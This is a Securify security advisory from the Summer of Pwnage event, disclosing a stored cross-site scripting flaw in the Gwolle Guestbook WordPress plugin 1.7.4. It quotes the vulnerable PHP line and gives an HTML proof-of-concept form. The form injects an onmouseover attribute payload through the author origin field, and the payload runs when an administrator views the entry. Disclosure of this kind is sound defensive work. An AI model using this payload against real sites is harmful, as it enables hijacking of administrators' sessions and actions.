Security Bughunt

2017 - August - Amsterdam

2017 Target - IoT



Radjnies Bhansingh - Securify, March 2017

Cross-Site Scripting vulnerability in Gwolle Guestbook WordPress Plugin

Abstract

A Cross-Site Scripting vulnerability was found in the Gwolle Guestbook WordPress plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure a WordPress user with editor or administrator privileges into opening a malicious website.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160712-0033

Tested versions

This issue was succesfully tested on the Gwolle Guestbook WordPress Plugin version 1.7.4.

Fix

This issue was fixed in Gwolle Guestbook version version 2.1.1. The most recent version of Gwolle Guestbook can be obtained from the following location:
https://wordpress.org/plugins/gwolle-gb/

Introduction

Gwolle Guestbook for WordPress is a guestbook made in order to provide an easy and slim way to integrate a guestbook into your WordPress powered site. Don't use your 'comment' section the wrong way - install Gwolle Guestbook and have a real guestbook.

A Cross-Site Scripting vulnerability was found in Gwolle Guestbook. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.

Details

This issue can be exploited by an anonymous attacker that sends a Cross-Site Scripting payload via one of the input fields of the guestbook. These fields are visible in the guestbook entries tab. Whenever an editor or administrator reviews the entry the payload is executed.

An example of this vulnerability exists in the /gwolle-gb/admin/page-editor.php file on line 434:

<input type="text" name="gwolle_gb_author_origin" tabindex="3" class="wp-exclude-emoji" placeholder="<?php _e('City', 'gwolle-gb'); ?>" value="<?php echo gw    olle_gb_sanitize_output( $entry->get_author_origin() ); ?>" id="author_origin" />

Proof of Concept

A proof of concept attack is listed below:

<html>
   <body>
      <form action="https://<target>/" method="POST">
         <input type="hidden" name="gwolle_gb_function" value="add_entry"/>
         <input type="hidden" name="gwolle_gb_book_id" value="1"/>
         <input type="hidden" name="gwolle_gb_author_name" value="John"/>
         <input type="hidden" name="gwolle_gb_author_origin" value="amsterdam&quot; onmouseover=alert(1) a=&quot;"/>
         <input type="hidden" name="gwolle_gb_author_email" value="john&#64;d&#46;oe"/>
         <input type="hidden" name="gwolle_gb_author_website" value=""/>
         <input type="hidden" name="gwolle_gb_subject" value=""/>
         <input type="hidden" name="gwolle_gb_content" value="hi&#44;&#32;cool"/>
         <input type="hidden" name="gwolle_gb_wpnonce" value="<valid nonce>"/>
         <input type="hidden" name="gwolle_gb_submit" value="Submit"/>
         <input type="submit"/>
      </form>
   </body>
</html>

A victim editor or administrator then needs to open the following view page:
http://<target>/wp-admin/admin.php?page=gwolle-gb/editor.php&entry_id=13